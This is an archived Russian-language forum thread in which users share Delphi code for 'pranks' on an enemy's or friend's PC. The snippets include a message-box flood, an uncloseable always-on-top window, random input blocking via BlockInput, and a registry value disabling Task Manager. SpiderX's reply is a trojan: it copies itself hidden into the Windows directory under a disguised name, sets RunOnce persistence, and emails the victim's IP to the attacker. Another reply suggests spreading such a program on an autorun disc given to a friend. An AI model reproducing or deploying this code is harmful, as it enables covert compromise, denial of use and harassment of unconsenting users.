Твой софтовый форум > Тематические форумы > Программирование

Измотай нервы врагу ближнему!!!

,

Delphi

Дата публикации: 13.08.2005 - 10:34
tyomik89
Цитата | Quote
Привет всем чайникам, которые сейчас собираются прочитать мою статью. \"Почему чайникам?\"- спросите вы и обидетесь. А обижаться не стоит, во первых потому, что чайником быть даже лучше, сами закрутите мыслю: профессионалы - они профессионалы, т.е. всё знают, а мы чайники - т.е знаем мало, зато у нас больше возможностей, мы свободны - можем экспериментировать сколько хотим, делать что хотим(пока что-нибудь дельное не получится) и узнавать, узнавать и еще раз узнавать новое, неизведанное для себя, а потом кричать от счастья, что у нас получилось написать какой-нибудь факториал.Но это так, небольшое отступление от дела.

А рассказать я вам хочу про програму, в которой содержится всего 2 строчки кода!!! Но она зато может изрядно потрепать нервы тому, на чью машину вы её запустите(ну я думаю, что врагу надо запускать, не так лиsmile.gif. Нет это не вирус, не троян, и вообще, эта программа ничего пакостного не делает, разве что может заставить сделать вынужденную перезагрузку(Reset-для тех, кто еще не понялwink.gif Вообще, тут 1 главная строка кода, которая у меня получилась случайно - сидел я как обычно, экспериментируя над API32(в котором еще на разобрался) и вышла строчка. Также я расскажу вам, как сделать так, чтобы программа запускалась при запуске компа, причем в автозагрузке вы её не найдете(и не надо тыкать пальцем - типа списал материал, а где же я еще мог его взятьsmile.gif

Ну я думая, пора уже начинать. Профессионалы, гуру, хакеры, крутые программеры могут удалиться. Все остальные: дети, женщины, военные могут остатьсяsmile.gif

Я думаю, вы уже запустили Delphi и что вам не надо объяснять ,как создать приложение, хотя во многих дотошных статьях и это с удовольствием указываетсяsmile.gif

Потороплюсь заметить, что на форме ничего размещать не надо, нам больше ничего не понадобитсяsmile.gif

Теперь приступаем непосредственно к процедуре по написанию программы. Мы будем обрабатывать событие OnMouseMove формы, т.е. при движении мыши над формой.

Причем желательно в свойстве WindowsState указать значение wsMaximized,а свойство BorderStyle сделать равным bsSizeable: Первое обеспечит максимальный размер формы в момент появления, т.е. во весь экран, а второе отключит в правом верхнем углу кнопки свернуть и развернуть(зачем нам это надоsmile.gif.
На этом наши визуальные приготовления закончились.

Давайте напишем ту самую строчку кода для события OnMouseMove формы, нет, лучше для начала я расскажу, что собственно будет делать программа. А она при каждом движении мыши будет валить на монитор примерно по 50 окон-фреймов-сообщений - называйте их, как хотитеsmile.gif Вы скажите цикл, ан нет, помните, что может делать цикл - всего-то запускать по очереди действие которое вы ему скажите, определенное кол-во раз.За это время наш враг-юзер успеет и кофе допить и Alt+Ctrl+Del нажатьsad.gif)(), так что глядите:

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
MessageBox(mb_ok,'текст в заглавии сообщения','текст в самом сообщении',mb_ok);
end;

Ну вот и та героическая строка, про которую я вам долбил, теперь при запуске программы чуть стоит вам дернуть мышь и повалится добрая сотня фреймовsmile.gif)

Что за бред подумаете вы, обычное сообщение вылетит с кнопкой Ok.
Ан нет, всё будет по-моему, ну-ка попробуйте:

Стоп: вы уже собираетесь запускать программу, а как же про окна, которые сейчас повалятся на вас, предлагаю такое решение, вы немного двигаете хвостатую, видите обвал окон и сразу же нажимаете 3 заветные клавиши, чтобы сделать destroy с программой, для тех кто не знает и никогда не знал эти клавиши, говорю: Alt+Ctrl+Del:)

А знаете, почему все это происходит, правильно, и я не знаюsmile.gif) Вообще-то у меня есть версия на счет этого, не знаю правильная:

Первый параметр отображает кнопки в окне(в данном случае она одна - mb_Ok), со вторым и третим ясно, стало быть, как мне кажется, четвертый делает действие, которое мы в нем указали, в данном случае, действие может быть только 1 - нажать какую-то кнопку, а раз кнопку мы указали такую же, что и в начале - происходит взаимооборот(какое я слово придумалsmile.gif, а раз взаимооборот присходит без лепты пользователя, то программа думает, что действие не выполнено и начинает его заново(шо я тут наговорил()!!! Короче, думаю, кто-нибудь объяснитsad.gif)()()

Кстати, помните, я вам говорил поменять 2 значения, в свойствах формы, если вы не поняли, зачем это, объясняю(такой я дотошныйsmile.gif:

Если бы форма была маленькой(в четверть экрана), то движение по рабочему столу не приводило бы налету фреймов-убийц, и это естественно, ведь мы обрабатывали движение мыши по форме, а не по Windows(Виндоуз - это тоже программа, если не знаете и написана на C), а что касается убирания кнопок - свернуть, развернуть, то тут по моему всё ясно(форма ведь уменьшается).

Кстати, вы не заметили, что крестик, отвечающий за закрытие окна активен, т.е. форму спокойно можно закрыть, да и Alt+F4 работает. Нет, так дело не пойдет. Давайте сделаем со всем этим Destroy.

Итак, обрабатываем событие OnCloseQuery главного окна(а больше у нас их и нетsmile.gif:

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
canclose:=false;
end;

В этой процедуре объявлена переменная CanClose, имеющая тип Boolean и отвечающая соответственно за работу или неработу функции закрытия окна стандартными методами(есть и не стандартные, например, Reboot, ShutDown, Reset,наконец) вообще, на земле все противоположно, если взглянуть на мир с точки зрения философии(мужчина - женщина, кошка - собака, наши - не наши, наконец); итак, проще говоря функция CanClose может равняться false(0) или true(1). False - значит ложь, то есть крестик отключен, true - абсолютно наоборот. Вообще тип Boolean - очень полезная вещь, без него практически нельзя обойтись при создании любой серьезной программы, так он действует в рамках двухвариантности, он мне например очень пригодился при создании такой крутой игрушки,как - Крестики-Нолики, которую я недавно закончилsmile.gif))

Но мы немного отвлеклись, теперь, если запустить нашу программу, то её нельзя будет закрыть стандартными способами, проверьте!!

Alt+Ctrl+Del

я не беру в счет, так как не знаю, как програмно отключать эти 3 кнопки, надеюсь, что после этой статьи мне кто-нибудь объяснитsad.gif

Вообще-то всё, у нас получился готовый продукт. Ах да, совсем забыл, я же обещал вам рассказать еще, как это портище в автозагрузку запихнуть(с помощью реестра, конечно жеsmile.gif. Но пока я писал это статью, мне уже передумалось, типа вспомнил, что уже где-то на итом сайте крутится статья про это и даже нашел её, так что могу подкинуть линк(нехоршо переписывать у людейsad.gif(

http://www.realcoding...rticles&id=844.
Мне эта статья очень помогла, именно благодаря ей я научился, хоть и мало-мальски пользоваться реестром.Так что бегите скорее ,пока не стерлиsmile.gif)

На этом говорю всем До Свиданья и... всегда рад ответить на вашы вопросы, если знаю на них ответы, так что пишите на [email protected].

Regards, Makswell

Твой софтовый форум
Germanetz
Ctrl+Alt+Del можно отключить в реестре. В Win_XP это ключ

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=dword:00000001
SpiderX
Тут самый примитивный способ прикольнуться над ламером. Можно и покруче завернуть (нужно Delphi 2, 3 или 4, не старше!!):

Ну чтож, приступим, для начала создадим форму (кто умеет без форм - будем без форм). Накидаем на форму: TRaylightAutostart, TOnlineIP, TNMSMTP. Пока хватит, потом еще добавим ежели что :-). В OnCreate формы пихаем следующее:

var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;

Что это все делает:

var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPathбудем использовать для каталога винды, а CurPathдля текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то вам прямая дорога в хелпы.
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet" - что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно в RunOnce, а не в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами, а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами себя скопируем.

Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем. Cледующтй код ставим в событие OnChangeу OnlineIP:

If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '[email protected]';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).
NEITR0N
Вот тоже прикол - оптическая шарикавая мышь:):

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False; //форма не показывается
end;

procedure BlockInput(ABlockInput:boolean);
stdcall;
external'USER32.DLL';

//нада создать таймер и в нем написть следующее

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if random(2)=0
then BlockInput(False)
else BlockInput(True)
end;
Paladin
Случайно набрел на эту тему и решил поделиться опытом smile.gif
Наша программа при запуске пресечет smile.gif все попытки пользователя работать с другими программами (даже с диспетчером задач).
Закрыть ее не получится. Поможет только Reset... Начнем:
1)Создаем новый проект.
OnCreate формы должен выглядеть примерно так:
CODE
procedure TForm1.FormCreate(Sender: TObject);
begin
   form1.AlphaBlend:=true;// Это для того, чтобы окно было прозрачное
   form1.AlphaBlendValue:=110;
   form1.BorderStyle:=bsNone;
   form1.Align:=alClient;// Это, чтобы окно съело весь экран :)
end;

2)Далее помещаем на форму Timer.
Interval таймера - 200.
Обработчик события OnTimer должен выглядеть так:
CODE
procedure TForm1.Timer1Timer(Sender: TObject);
begin
   SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE);
   SetForegroundWindow(form1.Handle);
end;

Обработчик события OnCloseQuery должен быть таким:
CODE
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 canclose:=false;//Это, чтоб не пытались закрыть прогу по Alt+F4
end;

Все!! После запуска этой программы бедняге поможет только Reset, хотя ничего страшного с компьютером происходить НЕ будет, просто программа каждые 200ms будет становится выше ВСЕХ окон и передавать фокус ввода себе smile.gif
Можете включить фантазию и доработать эту программку, например поместить в автозапуск, добавить звуковое сопровождение и поставить программу в Autorun диска, который вы можете при любом удобном случае дать другу smile.gif. Вообщем полная свобода действий smile.gif

P.S Если что-то не понятно - спрашивайте.
Niuk
QUOTE(Paladin @ 12.08.2005 - 14:41)
Все!! После запуска этой программы бедняге поможет только Reset,
*


Противоядие: свернуть прогу в таскбар, вызвать диспетчера и убить процесс.
но если включить соображалку можно ситуацию сделать действительно невыносимой. Говорить как небуду я против таких приколов. Кто кодит поймёт, но подскзку дам:
QUOTE(Paladin @ 12.08.2005 - 14:41)
CODE
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE);
  SetForegroundWindow(form1.Handle);
end;
*


Доработать. Или в вести функцию убивающую диспечера.
Paladin
QUOTE
Противоядие: свернуть прогу в таскбар, вызвать диспетчера и убить процесс.

Скажи на милость, как ты ее свернешь в таскбар?


Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке: Измотай нервы врагу ближнему!!!
SoftoRooM © 2004-2024